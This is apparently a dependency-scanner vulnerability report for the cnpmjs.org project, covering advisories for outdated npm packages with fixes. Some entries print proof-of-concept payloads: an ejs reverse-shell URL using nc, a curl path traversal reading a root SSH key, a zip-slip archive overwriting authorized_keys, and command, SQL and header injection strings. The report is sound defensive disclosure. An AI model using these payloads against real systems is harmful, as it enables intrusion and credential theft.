Vulnerabilities

38 via 59 paths

Dependencies

292

Source

GitHub

Commit

f3306f7f

Find, fix and prevent vulnerabilities in your code.

Severity
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Status
  • 38
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critical severity

SQL Injection

  • Vulnerable module: sequelize
  • Introduced through: sequelize@3.35.1

Detailed paths

  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 sequelize@3.35.1
    Remediation: Upgrade to sequelize@6.19.1.

Overview

sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.

Affected versions of this package are vulnerable to SQL Injection via the replacements statement. It allowed a malicious actor to pass dangerous values such as OR true; DROP TABLE users through replacements which would result in arbitrary SQL execution.

Remediation

Upgrade sequelize to version 6.19.1 or higher.

References

high severity

Uninitialized Memory Exposure

  • Vulnerable module: base64-url
  • Introduced through: koa-middlewares@2.1.0

Detailed paths

  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 koa-middlewares@2.1.0 koa-csrf@2.1.3 csrf@2.0.7 base64-url@1.2.1
    Remediation: Upgrade to koa-middlewares@4.0.0.
  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 koa-middlewares@2.1.0 koa-csrf@2.1.3 csrf@2.0.7 uid-safe@1.1.0 base64-url@1.2.1
    Remediation: Upgrade to koa-middlewares@4.0.0.
  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 koa-middlewares@2.1.0 koa-generic-session@1.5.0 uid-safe@1.0.3 base64-url@1.2.0
    Remediation: Upgrade to koa-middlewares@5.0.0.

Overview

base64-url Base64 encode, decode, escape and unescape for URL applications.

Affected versions of this package are vulnerable to Uninitialized Memory Exposure. An attacker may extract sensitive data from uninitialized memory or may cause a DoS by passing in a large number, in setups where typed user input can be passed (e.g. from JSON).

Details

The Buffer class on Node.js is a mutable array of binary data, and can be initialized with a string, array or number.

const buf1 = new Buffer([1,2,3]);
// creates a buffer containing [01, 02, 03]
const buf2 = new Buffer('test');
// creates a buffer containing ASCII bytes [74, 65, 73, 74]
const buf3 = new Buffer(10);
// creates a buffer of length 10

The first two variants simply create a binary representation of the value it received. The last one, however, pre-allocates a buffer of the specified size, making it a useful buffer, especially when reading data from a stream. When using the number constructor of Buffer, it will allocate the memory, but will not fill it with zeros. Instead, the allocated buffer will hold whatever was in memory at the time. If the buffer is not zeroed by using buf.fill(0), it may leak sensitive information like keys, source code, and system info.

Remediation

Upgrade base64-url to version 2.0.0 or higher. Note This is vulnerable only for Node <=4

References

high severity

Command Injection

  • Vulnerable module: nodemailer
  • Introduced through: nodemailer@1.11.0

Detailed paths

  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 nodemailer@1.11.0
    Remediation: Upgrade to nodemailer@6.4.16.

Overview

nodemailer is an Easy as cake e-mail sending from your Node.js applications

Affected versions of this package are vulnerable to Command Injection. Use of crafted recipient email addresses may result in arbitrary command flag injection in sendmail transport for sending mails.

PoC

-bi@example.com (-bi Initialize the alias database.)
-d0.1a@example.com (The option -d0.1 prints the version of sendmail and the options it was compiled with.)
-Dfilename@example.com (Debug output ffile)

Remediation

Upgrade nodemailer to version 6.4.16 or higher.

References

high severity

Improper Filtering of Special Elements

  • Vulnerable module: sequelize
  • Introduced through: sequelize@3.35.1

Detailed paths

  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 sequelize@3.35.1
    Remediation: Upgrade to sequelize@6.29.0.

Overview

sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.

Affected versions of this package are vulnerable to Improper Filtering of Special Elements due to attributes not being escaped if they included ( and ), or were equal to * and were split if they included the character ..

Remediation

Upgrade sequelize to version 6.29.0 or higher.

References

high severity

Directory Traversal

  • Vulnerable module: koa-static-cache
  • Introduced through: koa-middlewares@2.1.0

Detailed paths

  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 koa-middlewares@2.1.0 koa-static-cache@3.0.3

Overview

koa-static-cache is Static cache for koa.

Affected versions of the package are vulnerable to Directory Traversal. When in dynamic mode, a malicious user can traverse through the servers files, by entering %2E%2E/ into the url, allowing the attacker to obtain the contents of any file on the server's filesystem.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade koa-static-cache to versions 4.1.1, 5.1.1 or higher.

References

high severity

Arbitrary Code Execution

  • Vulnerable module: ejs
  • Introduced through: koa-middlewares@2.1.0

Detailed paths

  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 koa-middlewares@2.1.0 koa-ejs@1.1.3 ejs@1.0.0
    Remediation: Upgrade to koa-middlewares@5.0.0.

Overview

ejs is a popular JavaScript templating engine. Affected versions of the package are vulnerable to Remote Code Execution by letting the attacker under certain conditions control the source folder from which the engine renders include files. You can read more about this vulnerability on the Snyk blog.

There's also a Cross-site Scripting & Denial of Service vulnerabilities caused by the same behaviour.

Details

ejs provides a few different options for you to render a template, two being very similar: ejs.render() and ejs.renderFile(). The only difference being that render expects a string to be used for the template and renderFile expects a path to a template file.

Both functions can be invoked in two ways. The first is calling them with template, data, and options:

ejs.render(str, data, options);

ejs.renderFile(filename, data, options, callback)

The second way would be by calling only the template and data, while ejs lets the options be passed as part of the data:

ejs.render(str, dataAndOptions);

ejs.renderFile(filename, dataAndOptions, callback)

If used with a variable list supplied by the user (e.g. by reading it from the URI with qs or equivalent), an attacker can control ejs options. This includes the root option, which allows changing the project root for includes with an absolute path.

ejs.renderFile('my-template', {root:'/bad/root/'}, callback);

By passing along the root directive in the line above, any includes would now be pulled from /bad/root instead of the path intended. This allows the attacker to take control of the root directory for included scripts and divert it to a library under his control, thus leading to remote code execution.

The fix introduced in version 2.5.3 blacklisted root options from options passed via the data object.

Disclosure Timeline

  • November 27th, 2016 - Reported the issue to package owner.
  • November 27th, 2016 - Issue acknowledged by package owner.
  • November 28th, 2016 - Issue fixed and version 2.5.3 released.

Remediation

The vulnerability can be resolved by either using the GitHub integration to generate a pull-request from your dashboard or by running snyk wizard from the command-line interface. Otherwise, Upgrade ejs to version 2.5.3 or higher.

References

high severity

Remote Code Execution (RCE)

  • Vulnerable module: ejs
  • Introduced through: koa-middlewares@2.1.0

Detailed paths

  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 koa-middlewares@2.1.0 koa-ejs@1.1.3 ejs@1.0.0

Overview

ejs is a popular JavaScript templating engine.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) by passing an unrestricted render option via the view options parameter of renderFile, which makes it possible to inject code into outputFunctionName.

Note: This vulnerability is exploitable only if the server is already vulnerable to Prototype Pollution.

PoC:

Creation of reverse shell:

http://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s

Remediation

Upgrade ejs to version 3.1.7 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: dottie
  • Introduced through: sequelize@3.35.1

Detailed paths

  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 sequelize@3.35.1 dottie@1.1.1
    Remediation: Upgrade to sequelize@4.0.0.

Overview

dottie is a Fast and safe nested object access and manipulation in JavaScript

Affected versions of this package are vulnerable to Prototype Pollution due to insufficient checks, via the set() function and the current variable in the /dottie.js file.

PoC

var dottie = require("dottie")


var obj1 = {}
var obj2 = {}

var bad_path1 = '__proto__.test1'
var bad_path2 = '__proto__.test2'
console.log("before:"+ obj1.test1)
console.log("before:"+ obj2.test2)
dottie.default(obj1,bad_path1,"polluted1")
dottie.set(obj2,bad_path2,"polluted2")
console.log("after:"+obj1.test1)
console.log("after:"+obj2.test2)

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade dottie to version 2.0.4 or higher.

References

high severity
new

Infinite loop

  • Vulnerable module: markdown-it
  • Introduced through: markdown-it@3.1.0 and koa-markdown@2.0.2

Detailed paths

  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 markdown-it@3.1.0
    Remediation: Upgrade to markdown-it@13.0.2.
  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 koa-markdown@2.0.2 markdown-it@3.1.0

Overview

markdown-it is a modern pluggable markdown parser.

Affected versions of this package are vulnerable to Infinite loop in linkify inline rule when using malformed input.

Remediation

Upgrade markdown-it to version 13.0.2 or higher.

References

high severity

Prototype Override Protection Bypass

  • Vulnerable module: qs
  • Introduced through: koa-middlewares@2.1.0

Detailed paths

  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 koa-middlewares@2.1.0 koa-bodyparser@1.3.1 co-body@1.0.0 qs@1.0.2
    Remediation: Upgrade to koa-middlewares@5.0.0.
  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 koa-middlewares@2.1.0 koa-bodyparser@1.3.1 co-body@1.0.0 qs@1.0.2
    Remediation: Upgrade to koa-middlewares@5.0.0.

Overview

qs is a querystring parser that supports nesting and arrays, with a depth limit.

Affected versions of this package are vulnerable to Prototype Override Protection Bypass. By default qs protects against attacks that attempt to overwrite an object's existing prototype properties, such as toString(), hasOwnProperty(),etc.

From qs documentation:

By default parameters that would overwrite properties on the object prototype are ignored, if you wish to keep the data from those fields either use plainObjects as mentioned above, or set allowPrototypes to true which will allow user input to overwrite those properties. WARNING It is generally a bad idea to enable this option as it can cause problems when attempting to use the properties that have been overwritten. Always be careful with this option.

Overwriting these properties can impact application logic, potentially allowing attackers to work around security controls, modify data, make the application unstable and more.

In versions of the package affected by this vulnerability, it is possible to circumvent this protection and overwrite prototype properties and functions by prefixing the name of the parameter with [ or ]. e.g. qs.parse("]=toString") will return {toString = true}, as a result, calling toString() on the object will throw an exception.

Example:

qs.parse('toString=foo', { allowPrototypes: false })
// {}

qs.parse("]=toString", { allowPrototypes: false })
// {toString = true} <== prototype overwritten

For more information, you can check out our blog.

Disclosure Timeline

  • February 13th, 2017 - Reported the issue to package owner.
  • February 13th, 2017 - Issue acknowledged by package owner.
  • February 16th, 2017 - Partial fix released in versions 6.0.3, 6.1.1, 6.2.2, 6.3.1.
  • March 6th, 2017 - Final fix released in versions 6.4.0,6.3.2, 6.2.3, 6.1.2 and 6.0.4

Remediation

Upgrade qs to version 6.0.4, 6.1.2, 6.2.3, 6.3.2 or higher.

References

high severity

Prototype Poisoning

  • Vulnerable module: qs
  • Introduced through: koa-middlewares@2.1.0

Detailed paths

  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 koa-middlewares@2.1.0 koa-bodyparser@1.3.1 co-body@1.0.0 qs@1.0.2
    Remediation: Upgrade to koa-middlewares@5.0.0.

Overview

qs is a querystring parser that supports nesting and arrays, with a depth limit.

Affected versions of this package are vulnerable to Prototype Poisoning which allows attackers to cause a Node process to hang, processing an Array object whose prototype has been replaced by one with an excessive length value.

Note: In many typical Express use cases, an unauthenticated remote attacker can place the attack payload in the query string of the URL that is used to visit the application, such as a[__proto__]=b&a[__proto__]&a[length]=100000000.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade qs to version 6.2.4, 6.3.3, 6.4.1, 6.5.3, 6.6.1, 6.7.3, 6.8.3, 6.9.7, 6.10.3 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: xss
  • Introduced through: xss@0.2.18

Detailed paths

  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 xss@0.2.18
    Remediation: Upgrade to xss@1.0.10.

Overview

xss is a package that sanitizes untrusted HTML (to prevent XSS) with a configuration specified by a Whitelist.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the stripCommentTag function in lib/default.js.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade xss to version 1.0.10 or higher.

References

high severity

Hash Injection

  • Vulnerable module: sequelize
  • Introduced through: sequelize@3.35.1

Detailed paths

  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 sequelize@3.35.1
    Remediation: Upgrade to sequelize@4.12.0.

Overview

sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.

Affected versions of this package are vulnerable to Hash Injection. Using specially crafted requests an attacker can bypass secret_token protections on websites using sequalize.

For example:

db.Token.findOne({
      where: {
        token: req.query.token
      }
);

Node.js and other platforms allow nested parameters, i.e. token[$gt]=1 will be transformed into token = {"$gt":1}. When such a hash is passed into sequalize it will consider it a query (greater than 1) and find the first token in the DB, bypassing security of this endpoint.

Remediation

Upgrade sequelize to version 4.12.0 or higher.

References

high severity

SQL Injection

  • Vulnerable module: sequelize
  • Introduced through: sequelize@3.35.1

Detailed paths

  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 sequelize@3.35.1
    Remediation: Upgrade to sequelize@6.21.2.

Overview

sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.

Affected versions of this package are vulnerable to SQL Injection due to an improper escaping for multiple appearances of $ in a string.

Remediation

Upgrade sequelize to version 6.21.2 or higher.

References

high severity

Command Injection

  • Vulnerable module: treekill
  • Introduced through: treekill@1.0.0

Detailed paths

  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 treekill@1.0.0

Overview

treekill is a package for treekill process and it's all children and child offspring children.

Affected versions of this package are vulnerable to Command Injection. User input is concatenated with a command within tree-kill and treekill that will be executed without any check.

Note: This vulnerability is only applicable if the package is used on a Windows operating system.

PoC by mik317

  1. Create this POC file
//poc.js
var kill = require('tree-kill');
kill('3333332 & echo "HACKED" > HACKED.txt & ');
  1. Execute the following commands in another terminal:
npm i tree-kill # Install affected module
dir # Check *HACKED.txt* doesn't exist
node poc.js #  Run the PoC
dir # Now *HACKED.txt* exists :)
  1. A new file called HACKED.txt will be created, containing the HACKED string

Remediation

There is no fixed version for treekill.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: sequelize
  • Introduced through: sequelize@3.35.1

Detailed paths

  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 sequelize@3.35.1
    Remediation: Upgrade to sequelize@4.44.4.

Overview

sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.

Affected versions of this package are vulnerable to Denial of Service (DoS). The afterResults function for the SQLite dialect fails to catch a TypeError exception for the results variable. This allows attackers to submit malicious input that forces the exception and crashes the Node process.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade sequelize to version 4.44.4 or higher.

References

medium severity

HTTP Header Injection

  • Vulnerable module: nodemailer
  • Introduced through: nodemailer@1.11.0

Detailed paths

  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 nodemailer@1.11.0
    Remediation: Upgrade to nodemailer@6.6.1.

Overview

nodemailer is an Easy as cake e-mail sending from your Node.js applications

Affected versions of this package are vulnerable to HTTP Header Injection if unsanitized user input that may contain newlines and carriage returns is passed into an address object.

PoC:

const userEmail = 'foo@bar.comrnSubject: foobar'; // imagine this comes from e.g. HTTP request params or is otherwise user-controllable
await transporter.sendMail({
from: '...',
to: '...',
replyTo: {
name: 'Customer',
address: userEmail,
},
subject: 'My Subject',
text: message,
});

Remediation

Upgrade nodemailer to version 6.6.1 or higher.

References

medium severity

Access of Resource Using Incompatible Type ('Type Confusion')

  • Vulnerable module: sequelize
  • Introduced through: sequelize@3.35.1

Detailed paths

  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 sequelize@3.35.1
    Remediation: Upgrade to sequelize@6.28.1.

Overview

sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.

Affected versions of this package are vulnerable to Access of Resource Using Incompatible Type ('Type Confusion') due to improper user-input sanitization, due to unsafe fall-through in GET WHERE conditions.

Remediation

Upgrade sequelize to version 6.28.1 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: ejs
  • Introduced through: koa-middlewares@2.1.0

Detailed paths

  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 koa-middlewares@2.1.0 koa-ejs@1.1.3 ejs@1.0.0
    Remediation: Upgrade to koa-middlewares@5.0.0.
  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 koa-middlewares@2.1.0 koa-ejs@1.1.3 ejs@1.0.0
    Remediation: Upgrade to koa-middlewares@5.0.0.

Overview

ejs is a popular JavaScript templating engine. Affected versions of the package are vulnerable to Cross-site Scripting by letting the attacker under certain conditions control and override the filename option causing it to render the value as is, without escaping it. You can read more about this vulnerability on the Snyk blog.

There's also a Remote Code Execution & Denial of Service vulnerabilities caused by the same behaviour.

Details

ejs provides a few different options for you to render a template, two being very similar: ejs.render() and ejs.renderFile(). The only difference being that render expects a string to be used for the template and renderFile expects a path to a template file.

Both functions can be invoked in two ways. The first is calling them with template, data, and options:

ejs.render(str, data, options);

ejs.renderFile(filename, data, options, callback)

The second way would be by calling only the template and data, while ejs lets the options be passed as part of the data:

ejs.render(str, dataAndOptions);

ejs.renderFile(filename, dataAndOptions, callback)

If used with a variable list supplied by the user (e.g. by reading it from the URI with qs or equivalent), an attacker can control ejs options. This includes the filename option, which will be rendered as is when an error occurs during rendering.

ejs.renderFile('my-template', {filename:'<script>alert(1)</script>'}, callback);

The fix introduced in version 2.5.3 blacklisted root options from options passed via the data object.

Disclosure Timeline

  • November 28th, 2016 - Reported the issue to package owner.
  • November 28th, 2016 - Issue acknowledged by package owner.
  • December 06th, 2016 - Issue fixed and version 2.5.5 released.

Remediation

The vulnerability can be resolved by either using the GitHub integration to generate a pull-request from your dashboard or by running snyk wizard from the command-line interface. Otherwise, Upgrade ejs to version 2.5.5 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: ejs
  • Introduced through: koa-middlewares@2.1.0

Detailed paths

  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 koa-middlewares@2.1.0 koa-ejs@1.1.3 ejs@1.0.0
    Remediation: Upgrade to koa-middlewares@5.0.0.
  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 koa-middlewares@2.1.0 koa-ejs@1.1.3 ejs@1.0.0
    Remediation: Upgrade to koa-middlewares@5.0.0.

Overview

ejs is a popular JavaScript templating engine. Affected versions of the package are vulnerable to Denial of Service by letting the attacker under certain conditions control and override the localNames option causing it to crash. You can read more about this vulnerability on the Snyk blog.

There's also a Remote Code Execution & Cross-site Scripting vulnerabilities caused by the same behaviour.

Details

ejs provides a few different options for you to render a template, two being very similar: ejs.render() and ejs.renderFile(). The only difference being that render expects a string to be used for the template and renderFile expects a path to a template file.

Both functions can be invoked in two ways. The first is calling them with template, data, and options:

ejs.render(str, data, options);

ejs.renderFile(filename, data, options, callback)

The second way would be by calling only the template and data, while ejs lets the options be passed as part of the data:

ejs.render(str, dataAndOptions);

ejs.renderFile(filename, dataAndOptions, callback)

If used with a variable list supplied by the user (e.g. by reading it from the URI with qs or equivalent), an attacker can control ejs options. This includes the localNames option, which will cause the renderer to crash.

ejs.renderFile('my-template', {localNames:'try'}, callback);

The fix introduced in version 2.5.3 blacklisted root options from options passed via the data object.

